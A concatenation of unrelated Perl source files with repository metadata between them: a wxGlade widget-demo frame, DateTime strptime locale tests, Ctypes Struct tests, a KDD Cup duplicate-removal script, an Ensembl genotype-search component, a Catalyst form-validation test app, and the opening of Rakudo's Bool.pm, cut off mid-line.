$self->{sizer_23} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{button_2} = Wx::ToggleButton->new($self->{notebook_1_wxToggleButton}, wxID_ANY, _T("Toggle Button 1")); $self->{sizer_23}->Add($self->{button_2}, 1, wxALL, 5); $self->{button_4} = Wx::ToggleButton->new($self->{notebook_1_wxToggleButton}, wxID_ANY, _T("Toggle Button 2"), wxDefaultPosition, wxDefaultSize, wxBU_BOTTOM|wxBU_EXACTFIT); $self->{sizer_23}->Add($self->{button_4}, 1, wxALL, 5); $self->{notebook_1_wxTreeCtrl} = Wx::Panel->new($self->{notebook_1}, wxID_ANY); $self->{notebook_1}->AddPage($self->{notebook_1_wxTreeCtrl}, _T("wxTreeCtrl")); $self->{sizer_24} = Wx::BoxSizer->new(wxHORIZONTAL); $self->{tree_ctrl_1} = Wx::TreeCtrl->new($self->{notebook_1_wxTreeCtrl}, wxID_ANY, wxDefaultPosition, wxDefaultSize, 0); $self->{sizer_24}->Add($self->{tree_ctrl_1}, 1, wxALL|wxEXPAND, 5); $self->{static_line_1} = Wx::StaticLine->new($self, wxID_ANY); $self->{sizer_1}->Add($self->{static_line_1}, 0, wxALL|wxEXPAND, 5); $self->{sizer_2} = Wx::FlexGridSizer->new(1, 2, 0, 0); $self->{sizer_1}->Add($self->{sizer_2}, 0, wxALIGN_RIGHT, 0); $self->{button_5} = Wx::Button->new($self, wxID_CLOSE, ""); $self->{sizer_2}->Add($self->{button_5}, 0, wxALIGN_RIGHT|wxALL, 5); $self->{button_1} = Wx::Button->new($self, wxID_OK, "", wxDefaultPosition, wxDefaultSize, wxBU_TOP); $self->{sizer_2}->Add($self->{button_1}, 0, wxALIGN_RIGHT|wxALL, 5); $self->{notebook_1_wxTreeCtrl}->SetSizer($self->{sizer_24}); $self->{notebook_1_wxToggleButton}->SetSizer($self->{sizer_23}); $self->{notebook_1_wxTextCtrl}->SetSizer($self->{sizer_18}); $self->{notebook_1_Spacer}->SetSizer($self->{grid_sizer_4}); $self->{notebook_1_wxStaticText}->SetSizer($self->{grid_sizer_3}); $self->{notebook_1_wxStaticLine}->SetSizer($self->{sizer_9}); $self->{notebook_1_wxStaticBitmap}->SetSizer($self->{sizer_11}); $self->{splitter_2_pane_2}->SetSizer($self->{sizer_33}); $self->{splitter_2_pane_1}->SetSizer($self->{sizer_32}); $self->{splitter_2}->SplitVertically($self->{splitter_2_pane_1}, $self->{splitter_2_pane_2}, ); $self->{notebook_1_wxSplitterWindow_vertical}->SetSizer($self->{sizer_25}); $self->{splitter_1_pane_2}->SetSizer($self->{sizer_31}); $self->{splitter_1_pane_1}->SetSizer($self->{sizer_30}); $self->{splitter_1}->SplitHorizontally($self->{splitter_1_pane_1}, $self->{splitter_1_pane_2}, ); $self->{notebook_1_wxSplitterWindow_horizontal}->SetSizer($self->{sizer_29}); $self->{notebook_1_wxSpinCtrl}->SetSizer($self->{sizer_14}); $self->{notebook_1_wxSpinButton}->SetSizer($self->{sizer_16}); $self->{notebook_1_wxSlider}->SetSizer($self->{sizer_22}); $self->{notebook_1_wxRadioButton}->SetSizer($self->{sizer_8}); $self->{notebook_1_wxRadioBox}->SetSizer($self->{grid_sizer_1}); $self->{notebook_1_wxPropertyGridManager}->SetSizer($self->{sizer_34}); $self->{notebook_1_wxListCtrl}->SetSizer($self->{sizer_3}); $self->{notebook_1_wxListBox}->SetSizer($self->{sizer_4}); $self->{notebook_1_wxHyperlinkCtrl}->SetSizer($self->{sizer_20}); $self->{notebook_1_wxGrid}->SetSizer($self->{sizer_19}); $self->{notebook_1_wxGauge}->SetSizer($self->{sizer_15}); $self->{notebook_1_wxDatePickerCtrl}->SetSizer($self->{sizer_17}); $self->{notebook_1_wxComboBox}->SetSizer($self->{sizer_6}); $self->{notebook_1_wxChoice}->SetSizer($self->{sizer_5}); $self->{notebook_1_wxCheckListBox}->SetSizer($self->{sizer_26}); $self->{notebook_1_wxCheckBox}->SetSizer($self->{sizer_21}); $self->{notebook_1_wxGenericCalendarCtrl}->SetSizer($self->{sizer_27}); $self->{notebook_1_wxCalendarCtrl}->SetSizer($self->{sizer_12}); $self->{notebook_1_wxButton}->SetSizer($self->{sizer_28}); $self->{sizer_13}->AddGrowableRow(0); $self->{sizer_13}->AddGrowableRow(1); $self->{sizer_13}->AddGrowableCol(0); $self->{sizer_13}->AddGrowableCol(1); $self->{notebook_1_wxBitmapButton}->SetSizer($self->{sizer_13}); $self->{sizer_1}->AddGrowableRow(0); $self->{sizer_1}->AddGrowableCol(0); $self->SetSizer($self->{sizer_1}); $self->{sizer_1}->SetSizeHints($self); $self->Layout(); $self->Centre(); Wx::Event::EVT_MENU($self, $self->{mn_Unix}->GetId, $self->can('onSelectUnix')); Wx::Event::EVT_MENU($self, $self->{mn_Windows}->GetId, $self->can('onSelectWindows')); Wx::Event::EVT_MENU($self, $self->{mn_RemoveTabs}->GetId, $self->can('onRemoveTabs')); Wx::Event::EVT_MENU($self, wxID_HELP, $self->can('onShowManual')); Wx::Event::EVT_NOTEBOOK_PAGE_CHANGED($self, $self->{notebook_1}->GetId, $self->can('OnNotebookPageChanged')); Wx::Event::EVT_NOTEBOOK_PAGE_CHANGING($self, $self->{notebook_1}->GetId, $self->can('OnNotebookPageChanging')); Wx::Event::EVT_NAVIGATION_KEY($self, $self->can('OnBitmapButtonPanelNavigationKey')); Wx::Event::EVT_BUTTON($self, $self->{button_1}->GetId, $self->can('onStartConverting')); # end wxGlade return $self; } sub onSelectUnix { my ($self, $event) = @_; # wxGlade: All_Widgets_Frame::onSelectUnix <event_handler> warn "Event handler (onSelectUnix) not implemented"; $event->Skip; # end wxGlade } sub onSelectWindows { my ($self, $event) = @_; # wxGlade: All_Widgets_Frame::onSelectWindows <event_handler> warn "Event handler (onSelectWindows) not implemented"; $event->Skip; # end wxGlade } sub onRemoveTabs { my ($self, $event) = @_; # wxGlade: All_Widgets_Frame::onRemoveTabs <event_handler> warn "Event handler (onRemoveTabs) not implemented"; $event->Skip; # end wxGlade } sub onShowManual { my ($self, $event) = @_; # wxGlade: All_Widgets_Frame::onShowManual <event_handler> warn "Event handler (onShowManual) not implemented"; $event->Skip; # end wxGlade } sub OnNotebookPageChanged { my ($self, $event) = @_; # wxGlade: All_Widgets_Frame::OnNotebookPageChanged <event_handler> warn "Event handler (OnNotebookPageChanged) not implemented"; $event->Skip; # end wxGlade } sub OnNotebookPageChanging { my ($self, $event) = @_; # wxGlade: All_Widgets_Frame::OnNotebookPageChanging <event_handler> warn "Event handler (OnNotebookPageChanging) not implemented"; $event->Skip; # end wxGlade } sub OnBitmapButtonPanelNavigationKey { my ($self, $event) = @_; # wxGlade: All_Widgets_Frame::OnBitmapButtonPanelNavigationKey <event_handler> warn "Event handler (OnBitmapButtonPanelNavigationKey) not implemented"; $event->Skip; # end wxGlade } sub onStartConverting { my ($self, $event) = @_; # wxGlade: All_Widgets_Frame::onStartConverting <event_handler> warn "Event handler (onStartConverting) not implemented"; $event->Skip; # end wxGlade } # end of class All_Widgets_Frame 1; 1; package main; unless(caller){ my $local = Wx::Locale->new("English", "en", "en"); # replace with ?? $local->AddCatalog("AllWidgets30App"); # replace with the appropriate catalog name local *Wx::App::OnInit = sub{1}; my $AllWidgets30App = Wx::App->new(); Wx::InitAllImageHandlers(); my $All_Widgets = All_Widgets_Frame->new(); $AllWidgets30App->SetTopWindow($All_Widgets); $All_Widgets->Show(1); $AllWidgets30App->MainLoop(); }
50.519718
271
0.668377
73d420e673c03318e66d492a7502c063b7539d83
4,839
t
Perl
t/author-locale-my-MM.t
kentfredric/t-DTFST
77e85bf86fa608312d85f413a6babe008a8cabc8
[ "Artistic-2.0" ]
1
2020-01-21T11:29:08.000Z
2020-01-21T11:29:08.000Z
t/author-locale-my-MM.t
kentfredric/t-DTFST
77e85bf86fa608312d85f413a6babe008a8cabc8
[ "Artistic-2.0" ]
null
null
null
t/author-locale-my-MM.t
kentfredric/t-DTFST
77e85bf86fa608312d85f413a6babe008a8cabc8
[ "Artistic-2.0" ]
null
null
null
BEGIN { unless ($ENV{AUTHOR_TESTING}) { require Test::More; Test::More::plan(skip_all => 'these tests are for testing by the author'); } } use strict; use warnings; use Test::More 0.96; use Test::Fatal; use DateTime::Format::Strptime; use DateTime::Locale; use DateTime; my $code_meth = DateTime::Locale->load('en')->can('code') ? 'code' : 'id'; my $locale = 'my-MM'; test_days($locale); test_months($locale); test_am_pm($locale); test_locale($locale); done_testing(); sub test_days { my $locale = shift; subtest( 'days', sub { foreach my $day ( 1 .. 7 ) { subtest( "Day $day", sub { _test_one_day( $locale, $day ); }, ); } } ); } sub _test_one_day { my $locale = shift; my $day = shift; _utf8_output(); my $pattern = '%Y-%m-%d %A'; my $dt = DateTime->now( locale => $locale )->set( day => $day ); my $input = $dt->strftime($pattern); my $strptime; is( exception { $strptime = DateTime::Format::Strptime->new( pattern => $pattern, locale => $locale, on_error => 'croak', ); }, undef, 'constructor with day name in pattern (%A)' ) or return; my $parsed_dt; is( exception { $parsed_dt = $strptime->parse_datetime($input) }, undef, "parsed $input" ) or return; is( $parsed_dt->strftime($pattern), $input, 'strftime output matches input' ); } sub test_months { my $locale = shift; subtest( 'months', sub { foreach my $month ( 1 .. 12 ) { subtest( "Month $month", sub { _test_one_month( $locale, $month ) }, ); } } ); } sub _test_one_month { my $locale = shift; my $month = shift; _utf8_output(); my $pattern = '%Y-%m-%d %B'; my $dt = DateTime->now( locale => $locale )->truncate( to => 'month' ) ->set( month => $month ); my $input = $dt->strftime($pattern); my $strptime; is( exception { $strptime = DateTime::Format::Strptime->new( pattern => $pattern, locale => $locale, on_error => 'croak', ); }, undef, 'constructor with month name (%B)' ) or return; my $parsed_dt; is( exception { $parsed_dt = $strptime->parse_datetime($input) }, undef, "parsed $input" ) or return; is( $parsed_dt->strftime($pattern), $input, 'strftime output matches input' ); } sub test_am_pm { my $locale = shift; subtest( 'am/pm', sub { foreach my $hour ( 0, 11, 12, 23 ) { subtest( "Hour $hour", sub { _test_one_hour( $locale, $hour ); }, ); } } ); } sub _test_one_hour { my $locale = shift; my $hour = shift; _utf8_output(); my $pattern = '%Y-%m-%d %H:%M %p'; my $dt = DateTime->now( locale => $locale )->set( hour => $hour ); my $input = $dt->strftime($pattern); my $strptime; is( exception { $strptime = DateTime::Format::Strptime->new( pattern => $pattern, locale => $locale, on_error => 'croak', ); }, undef, 'constructor with meridian (%p)' ) or return; my $parsed_dt; is( exception { $parsed_dt = $strptime->parse_datetime($input) }, undef, "parsed $input", ) or return; is( $parsed_dt->strftime($pattern), $input, 'strftime output matches input' ); } sub test_locale { my $locale = shift; my $strptime; is( exception { $strptime = DateTime::Format::Strptime->new( pattern => '%Y-%m-%d', locale => $locale, on_error => 'croak', ); }, undef, 'constructor with locale' ) or return; my $input = '2015-01-30'; my $parsed_dt; is( exception { $parsed_dt = $strptime->parse_datetime($input) }, undef, "parsed $input", ) or return; is( $parsed_dt->locale->$code_meth, $locale, "code of locale for DateTime returned by parser is $locale" ); } sub _utf8_output { binmode $_, ':encoding(UTF-8)' for map { Test::Builder->new->$_ } qw( output failure_output todo_output ); }
20.591489
78
0.467039
ed29930a4838a7b1c990ca9bf8c3d3b231918a96
6,523
t
Perl
t/Struct.t
rurban/Ctypes
fac5967e521d8b49a66f52a08e00180412e95fd9
[ "PSF-2.0" ]
null
null
null
t/Struct.t
rurban/Ctypes
fac5967e521d8b49a66f52a08e00180412e95fd9
[ "PSF-2.0" ]
null
null
null
t/Struct.t
rurban/Ctypes
fac5967e521d8b49a66f52a08e00180412e95fd9
[ "PSF-2.0" ]
null
null
null
#!perl BEGIN { unshift @INC, './t' } use Test::More tests => 89; use Ctypes; use Ctypes::Type::Struct; use Data::Dumper; use t_POINT; my $Debug = 1; my $struct = Struct([ f1 => c_char('P'), f2 => c_int(10), f3 => c_long(90000), ]); note( 'Simple construction (arrayref)' ); isa_ok( $struct, 'Ctypes::Type::Struct' ); is( $struct->name, 'Struct' ); is( $struct->{f1}, 'P' ); is( $struct->{f2}, 10 ); is( $struct->{f3}, 90000 ); my $size = Ctypes::sizeof('c') + Ctypes::sizeof('i') + Ctypes::sizeof('l'); is( $struct->size, $size ); my $alignedstruct = Struct({ fields => [ o1 => c_char('Q'), o2 => c_int(20), o3 => c_long(180000), ], align => 4, }); note( 'Ordered construction (arrayref)' ); isa_ok( $alignedstruct, 'Ctypes::Type::Struct' ); is( $alignedstruct->name, 'Struct' ); is( $alignedstruct->{o1}, 'Q' ); is( $alignedstruct->{o2}, 20 ); is( $alignedstruct->{o3}, 180000 ); $size = 0; my $delta = 0; for(qw|c i l|) { $delta = Ctypes::sizeof($_); $delta += abs( $delta - 4 ) % 4 if $delta % 4; $size += $delta; } is( $alignedstruct->size, $size ); is( $alignedstruct->align, 4 ); $alignedstruct->align(8); is( $alignedstruct->align, 8 ); eval { $alignedstruct->align(7) }; is( $alignedstruct->align, 8 ); like( $@, qr/Invalid argument for _alignment method: 7/, '->align validation ok' ); my $point = new t_POINT( 30, 40 ); subtest 'Positional parameterised initialisation' => sub { plan tests => 6; isa_ok( $point, 't_POINT' ); is( $point->name, 't_POINT_Struct' ); is( $point->{x}, 30 ); is( $point->{y}, 40 ); is( $point->[0], 30 ); is( $point->[1], 40 ); }; my $point_2 = new t_POINT([ y => 30, x => 40 ]); my $point_3 = new t_POINT([ y => 50 ]); note( 'Named parameter initialisation' ); isa_ok( $point_2, 't_POINT' ); isa_ok( $point_2, 'Ctypes::Type::Struct' ); is( $point_2->{x}, 40 ); is( $point_2->{y}, 30 ); isa_ok( $point_3, 't_POINT' ); isa_ok( $point_3, 'Ctypes::Type::Struct' ); is( $point_3->{y}, 50 ); is( $point_3->{x}, 0 ); note( 'Data access' ); is( $struct->{f2}, 10 ); is( $struct->fields->{f2}->name, 'c_int' ); $struct->{f2} = 30; is( $struct->{f2}, 30 ); $struct->values->{f2} = 50; is( $struct->{f2}, 50 ); is( $struct->[1], 50 ); $struct->[1] = 10; is( $struct->[1], 10 ); $struct->values->[1] = 30; is( $struct->[1], 30 ); my $data = pack('C',80) . pack('i',30) . pack('l',90000); is( ${$struct->data}, $data, '->data looks alright' ); my $twentyfive = pack('i',25); my $dataref = $struct->data; substr( ${$dataref}, 1, length($twentyfive) ) = $twentyfive; is( $struct->[1], 25, 'Members call up for fresh data' ); note( 'Attribute access' ); is( $struct->name, 'Struct' ); is( $struct->typecode, 'p' ); is( $struct->align, 0 ); is( $struct->size, 9 ); is( $struct->fields->{f2}, '<Field type=c_int, ofs=1, size=4>' ); is( $alignedstruct->fields->{o2}, '<Field type=c_int, ofs=4, size=4>' ); is( $struct->fields->[1]->info, '<Field type=c_int, ofs=1, size=4>' ); is( $alignedstruct->fields->[1]->info, '<Field type=c_int, ofs=4, size=4>' ); is( $struct->fields->{f2}->index, 1 ); is( $alignedstruct->fields->{o2}->index, 4 ); is( $struct->fields->[1]->index, 1 ); is( $alignedstruct->fields->[1]->index, 4 ); is( $struct->fields->{f1}->index, 0 ); is( $struct->fields->{f2}->index, 1 ); is( $struct->fields->{f3}->index, 5 ); is( $struct->fields->{f1}->name, 'c_char' ); is( $struct->fields->{f2}->name, 'c_int' ); is( $struct->fields->{f3}->name, 'c_long' ); is( $struct->fields->{f1}->size, 1 ); is( $struct->fields->{f2}->size, 4 ); is( $struct->fields->{f3}->size, 4 ); is( $struct->fields->{f1}->typecode, 'C', "typecode field f1 - C unsigned char from pack" ); is( $struct->fields->{f2}->typecode, 'i' ); is( $struct->fields->{f3}->typecode, 'l' ); is( $struct->fields->{f1}->owner, $struct ); is( $struct->fields->{f2}->owner, $struct ); is( $struct->fields->{f3}->owner, $struct ); is( $struct->fields->[0]->index, 0 ); is( $struct->fields->[2]->index, 5 ); is( $struct->fields->[0]->name, 'c_char' ); is( $struct->fields->[1]->name, 'c_int' ); is( $struct->fields->[2]->name, 'c_long' ); is( $struct->fields->[0]->size, 1 ); is( $struct->fields->[1]->size, 4 ); is( $struct->fields->[2]->size, 4 ); is( $struct->fields->[0]->typecode, 'C', "typecode field 0 - C unsigned char from pack" ); is( $struct->fields->[1]->typecode, 'i' ); is( $struct->fields->[2]->typecode, 'l' ); is( $struct->fields->[0]->owner, $struct ); is( $struct->fields->[1]->owner, $struct ); is( $struct->fields->[2]->owner, $struct ); note( 'Arrays in Structs' ); my $grades = Array( 49, 80, 55, 75, 89, 31, 45, 65, 40, 71 ); my $class = Struct({ fields => [ teacher => 'P', grades => $grades, ] }); my $total; for( @{ $$class->{grades} } ) { $total += $_ }; my $average = $total / $$class->{grades}->scalar; is( $average, 60, "Mr Peterson's class could do better" ); is( $$class->{grades}[0], 49 ); is( $$class->{grades}->scalar, 10 ); note( 'Structs in structs' ); my $flowerbed = Struct([ roses => 3, heather => 5, weeds => 2, ]); my $garden = Struct({ fields => [ fence => 30, flowerbed => $flowerbed, lawn => 20, ] }); is( $garden->{flowerbed}->fields->{roses}, '<Field type=c_short, ofs=0, size=2>', '$garden->{flowerbed}->fields->{roses} gives field (how nice...)' ); is( $$garden->{flowerbed}->{roses}, '3','$$garden->{flowerbed}->fields->{roses} gives 3' ); is( $garden->{flowerbed}->{roses}, '3','$garden->{flowerbed}->fields->{roses} also gives 3' ); my $home = Struct({ fields => [ house => 40, driveway => 20, garden => $garden, ] }); is( $home->{garden}->{flowerbed}->fields->{heather}, '<Field type=c_short, ofs=2, size=2>', '$home->{garden}->{flowerbed}->fields->{heather} gives field info' ); is( $$home->{garden}->{flowerbed}->{heather}, '5', '$$home->{garden}->{flowerbed}->{heather} gives 5' ); $home->{garden}->{flowerbed}->{heather} = 500; is( $garden->{flowerbed}->{heather}, 500, "That's a quare load o' heather - garden updated via \$home" ); is( $$garden->[1]->[1], 500 ); note( 'Pointers' ); my $ptr = Pointer( Array( 5, 4, 3, 2, 1 ) ); my $arr = Array( 10, 20, 30, 40, 50 ); my $stct = Struct([ pointer => $ptr, array => $arr, ]); $total = 0; $total += $_ for( @{ $$stct->{array} } ); is( $total, 150 ); $total += $_ for( @{ $$stct->{pointer}->deref } ); is( $total, 165 ); $$stct->{array}->[0] = 60; is( $stct->fields->[1], '<Field type=short_Array, ofs=4, size=10>' ); is( $stct->fields->[1]->[0], 60 );
30.059908
105
0.569983
ed3b7391cce4857195b4e94802de92bed6213581
1,451
pl
Perl
scripts/kddcup2012/remove_duplicates.pl
LHCGreg/MyMediaLite
48e487a8f554b570211e7a1b3622fa7958e67dd3
[ "BSD-3-Clause" ]
345
2015-01-08T03:52:23.000Z
2022-03-09T02:26:50.000Z
scripts/kddcup2012/remove_duplicates.pl
Markhalsey/MyMediaLite
3a268110338b24627c8c2c973c0f9d03b151e2df
[ "BSD-3-Clause" ]
175
2015-03-01T10:54:53.000Z
2021-01-03T13:52:36.000Z
scripts/kddcup2012/remove_duplicates.pl
Markhalsey/MyMediaLite
3a268110338b24627c8c2c973c0f9d03b151e2df
[ "BSD-3-Clause" ]
178
2015-01-12T08:51:06.000Z
2022-03-04T10:56:32.000Z
#!/usr/bin/perl # Remove duplicates from validation dataset # # Script for KDD Cup 2012, track 1 # author: Zeno Gantner <zeno.gantner@gmail.com> # This script is in the public domain. use strict; use warnings; use Getopt::Long; GetOptions( 'write-timestamps' => \(my $write_timestamps = 0), ) or die "Did not understand command line parameters.\n"; my $remember_timestamps = $write_timestamps; my $separator_regex = qr{\t}; my $event_count = 0; my %result = (); my %timestamp = (); LINE: while (<>) { my $line = $_; chomp $line; my ($user, $item, $result, $timestamp) = split $separator_regex, $line; $event_count++; if (!exists $result{$user}) { $result{$user} = {}; $timestamp{$user} = {}; } if (exists $result{$user}->{$item} && $result != 1) { if ($result{$user}->{$item} == $result && $remember_timestamps) { $timestamp{$user}->{$item} = $timestamp; } } else { $result{$user}->{$item} = $result; $timestamp{$user}->{$item} = $timestamp if $remember_timestamps; } } print STDERR "Printing to STDOUT ...\n"; foreach my $user (keys %result) { foreach my $item (keys %{$result{$user}}) { if ($write_timestamps) { print "$user\t$item\t$result{$user}->{$item}\t$timestamp{$user}->{$item}\n"; } else { print "$user\t$item\t$result{$user}->{$item}\n"; } } } print STDERR "Done.\n";
23.403226
88
0.574776
ed288ed0e171419376cd3b1ddf8e3b9c6fc828f5
6,825
pm
Perl
modules/EnsEMBL/Web/Component/Variation/IndividualGenotypesSearch.pm
nerdstrike/ensembl-webcode
ab69513124329e1b2d686c7d2c9f1d7689996a0b
[ "Apache-2.0", "MIT" ]
null
null
null
modules/EnsEMBL/Web/Component/Variation/IndividualGenotypesSearch.pm
nerdstrike/ensembl-webcode
ab69513124329e1b2d686c7d2c9f1d7689996a0b
[ "Apache-2.0", "MIT" ]
null
null
null
modules/EnsEMBL/Web/Component/Variation/IndividualGenotypesSearch.pm
nerdstrike/ensembl-webcode
ab69513124329e1b2d686c7d2c9f1d7689996a0b
[ "Apache-2.0", "MIT" ]
null
null
null
=head1 LICENSE Copyright [1999-2013] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. =cut # $Id$ package EnsEMBL::Web::Component::Variation::IndividualGenotypesSearch; use strict; use HTML::Entities qw(encode_entities); use base qw(EnsEMBL::Web::Component::Variation); sub _init { my $self = shift; $self->cacheable(0); $self->ajaxable(1); } sub content { my $self = shift; my $object = $self->object; my $hub = $self->hub; my $indiv = $hub->param('ind'); return $self->_info('A unique location can not be determined for this Variation', $object->not_unique_location) if $object->not_unique_location; my $url = $self->ajax_url('results', { ind => undef }); my $id = $self->id; if (defined($indiv)) { $indiv =~ s/^\W+//; $indiv =~ s/\s+$//; } return sprintf(' <div class="navbar print_hide" style="padding-left:5px"> <input type="hidden" class="panel_type" value="Content" /> <form class="update_panel" action="#"> <label for="ind">Search for an individual:</label> <input type="text" name="ind" id="ind" value="%s" size="30"/> <input type="hidden" name="panel_id" value="%s" /> <input type="hidden" name="url" value="%s" /> <input type="hidden" name="element" value=".results" /> <input class="fbutton" type="submit" value="Search" /> <small>(e.g. NA18507)</small> </form> </div> <div class="results">%s</div> ', $indiv, $id, $url, $self->content_results); } sub format_parent { my ($self, $parent_data) = @_; return ($parent_data && $parent_data->{'Name'}) ? $parent_data->{'Name'} : '-'; } sub get_table_headings { return [ { key => 'Individual', title => 'Individual<br /><small>(Male/Female/Unknown)</small>', sort => 'html', width => '20%', help => 'Individual name and gender' }, { key => 'Genotype', title => 'Genotype<br /><small>(forward strand)</small>', sort => 'html', width => '15%', help => 'Genotype on the forward strand' }, { key => 'Description', title => 'Description', sort => 'html' }, { key => 'Population', title => 'Population(s)', sort => 'html' }, { key => 'Father', title => 'Father', sort => 'none' }, { key => 'Mother', title => 'Mother', sort => 'none' } ]; } sub content_results { my $self = shift; my $object = $self->object; my $hub = $self->hub; my $indiv = $hub->param('ind'); return unless defined $indiv; $indiv =~ s/^\W+//; $indiv =~ s/\s+$//; my %rows; my $flag_children = 0; my $html; my %ind_data; my $ind_gt_objs = $object->individual_genotypes_obj; # Selects the individual genotypes where their individual names match the searched name my @matching_ind_gt_objs = (length($indiv) > 1 ) ? grep { $_->individual->name =~ /$indiv/i } @$ind_gt_objs : (); if (scalar (@matching_ind_gt_objs)) { my %ind_data; my $rows; my $al_colours = $self->object->get_allele_genotype_colours; # Retrieve individidual & individual genotype information foreach my $ind_gt_obj (@matching_ind_gt_objs) { my $genotype = $object->individual_genotype($ind_gt_obj); next if $genotype eq '(indeterminate)'; # Colour the genotype foreach my $al (keys(%$al_colours)) { $genotype =~ s/$al/$al_colours->{$al}/g; } my $ind_obj = $ind_gt_obj->individual; my $ind_id = $ind_obj->dbID; my $ind_name = $ind_obj->name; my $gender = $ind_obj->gender; my $description = $object->individual_description($ind_obj); $description ||= '-'; my $population = $self->get_all_populations($ind_obj); my %parents; foreach my $parent ('father','mother') { my $parent_data = $object->parent($ind_obj,$parent); $parents{$parent} = $self->format_parent($parent_data); } # Format the content of each cell of the line my $row = { Individual => sprintf("<small>$ind_name (%s)</small>", substr($gender, 0, 1)), Genotype => "<small>$genotype</small>", Description => "<small>$description</small>", Population => "<small>$population</small>", Father => "<small>$parents{father}</small>", Mother => "<small>$parents{mother}</small>", Children => '-' }; # Children my $children = $object->child($ind_obj); my @children_list = map { sprintf "<small>$_ (%s)</small>", substr($children->{$_}[0], 0, 1) } keys %{$children}; if (@children_list) { $row->{'Children'} = join ', ', @children_list; $flag_children = 1; } push @$rows, $row; } my $columns = $self->get_table_headings; push @$columns, { key => 'Children', title => 'Children<br /><small>(Male/Female)</small>', sort => 'none', help => 'Children names and genders' } if $flag_children; my $ind_table = $self->new_table($columns, $rows, { data_table => 1, download_table => 1, sorting => [ 'Individual asc' ], data_table_config => {iDisplayLength => 25} }); $html .= '<div style="margin:0px 0px 50px;padding:0px"><h2>Results for "'.$indiv.'" ('.scalar @$rows.')</h2>'.$ind_table->render.'</div>'; } else { $html .= $self->warning_message($indiv); } return qq{<div class="js_panel">$html</div>}; } sub get_all_populations { my $self = shift; my $individual = shift; my @pop_names = map { $_->name } @{$individual->get_all_Populations }; return (scalar @pop_names > 0) ? join('; ',sort(@pop_names)) : '-'; } sub warning_message { my $self = shift; my $indiv = shift; return $self->_warning('Not found', qq{No genotype associated with this variant was found for the individual name '<b>$indiv</b>'!}); } 1;
35.180412
174
0.565421
73dd4dd9f84f41ce724ffe9bd14a436b28044e07
951
pm
Perl
t/lib/TestApp02.pm
git-the-cpan/Catalyst-Plugin-FormValidator-Simple-Auto
bf2a8b023c83de2c5bd5dedcb0072bffc98a6bcf
[ "Artistic-1.0-cl8" ]
null
null
null
t/lib/TestApp02.pm
git-the-cpan/Catalyst-Plugin-FormValidator-Simple-Auto
bf2a8b023c83de2c5bd5dedcb0072bffc98a6bcf
[ "Artistic-1.0-cl8" ]
null
null
null
t/lib/TestApp02.pm
git-the-cpan/Catalyst-Plugin-FormValidator-Simple-Auto
bf2a8b023c83de2c5bd5dedcb0072bffc98a6bcf
[ "Artistic-1.0-cl8" ]
null
null
null
package TestApp02; use Catalyst qw/ FormValidator::Simple FormValidator::Simple::Auto /; __PACKAGE__->config( name => 'TestApp', validator => { profiles => { action1 => {param1 => ['NOT_BLANK', 'ASCII'],}, action2_submit => {param1 => ['NOT_BLANK', 'ASCII'],}, }, }, ); __PACKAGE__->setup; sub action1 : Global { my ($self, $c) = @_; if ($c->form->has_error) { $c->res->body($c->form->error('param1')); } else { $c->res->body('no errors'); } } sub action2 : Global { my ($self, $c) = @_; if ($c->req->method eq 'POST') { $c->forward('action2_submit'); } else { $c->res->body('no $c->form executed'); } } sub action2_submit : Private { my ($self, $c) = @_; if ($c->form->has_error) { $c->res->body($c->form->error('param1')); } else { $c->res->body('no errors'); } } 1;
18.647059
66
0.484753
ed360137656df0a7d0707d921478c33029bdb2c2
5,833
pm
Perl
src/core/Bool.pm
ChoHag/perl6--rakudo
6a3c03f426884c6a71f05f4bfafd8bdea3fd9263
[ "Artistic-2.0" ]
null
null
null
src/core/Bool.pm
ChoHag/perl6--rakudo
6a3c03f426884c6a71f05f4bfafd8bdea3fd9263
[ "Artistic-2.0" ]
null
null
null
src/core/Bool.pm
ChoHag/perl6--rakudo
6a3c03f426884c6a71f05f4bfafd8bdea3fd9263
[ "Artistic-2.0" ]
null
null
null
# enum Bool declared in BOOTSTRAP BEGIN { Bool.^add_method('Bool', my proto method Bool(|) { * }); Bool.^add_method('gist', my proto method gist(|) { * }); Bool.^add_method('Str', my proto method Str(|) { * }); Bool.^add_method('Numeric', my proto method Numeric(|) { * }); Bool.^add_method('ACCEPTS', my proto method ACCEPTS(|) { * }); Bool.^add_method('pick', my proto method pick(|) { * }); Bool.^add_method('roll', my proto method roll(|) { * }); Bool.^add_method('perl', my proto method perl(|) { * }); } BEGIN { Bool.^add_multi_method('Bool', my multi method Bool(Bool:D:) { self }); Bool.^add_multi_method('gist', my multi method gist(Bool:D:) { self ?? 'True' !! 'False' }); Bool.^add_multi_method('Str', my multi method Str(Bool:D:) { self ?? 'True' !! 'False' }); Bool.^add_multi_method('Numeric', my multi method Numeric(Bool:D:) { self ?? 1 !! 0 }); Bool.^add_multi_method('ACCEPTS', my multi method ACCEPTS(Bool:D: Mu \topic ) { self }); Bool.^add_multi_method('perl', my multi method perl(Bool:D:) { self ?? 'Bool::True' !! 'Bool::False' }); Bool.^add_multi_method('pick', my multi method pick(Bool:U:) { nqp::p6bool(nqp::isge_n(nqp::rand_n(2e0), 1e0)) }); Bool.^add_multi_method('roll', my multi method roll(Bool:U:) { nqp::p6bool(nqp::isge_n(nqp::rand_n(2e0), 1e0)) }); } BEGIN { Bool.^add_multi_method('Bool', my multi method Bool(Bool:U:) { Bool::False }); Bool.^add_multi_method('ACCEPTS', my multi method ACCEPTS(Bool:U: Mu \topic ) { nqp::istype(topic, Bool) }); Bool.^add_multi_method('gist', my multi method gist(Bool:U:) { '(Bool)' }); Bool.^add_multi_method('perl', my multi method perl(Bool:U:) { 'Bool' }); Bool.^add_multi_method('pick', my multi method pick(Bool:U: $n) { self.^enum_value_list.pick($n) }); Bool.^add_multi_method('roll', my multi method roll(Bool:U: $n) { self.^enum_value_list.roll($n) }); Bool.^add_method('pred', my method pred() { Bool::False }); Bool.^add_method('succ', my method succ() { Bool::True }); Bool.^compose; } multi sub prefix:<++>(Bool $a is rw) { $a = True; } multi sub prefix:<-->(Bool $a is rw) { $a = False; } multi sub postfix:<++>(Bool:U $a is rw) { $a = True; False; } multi sub 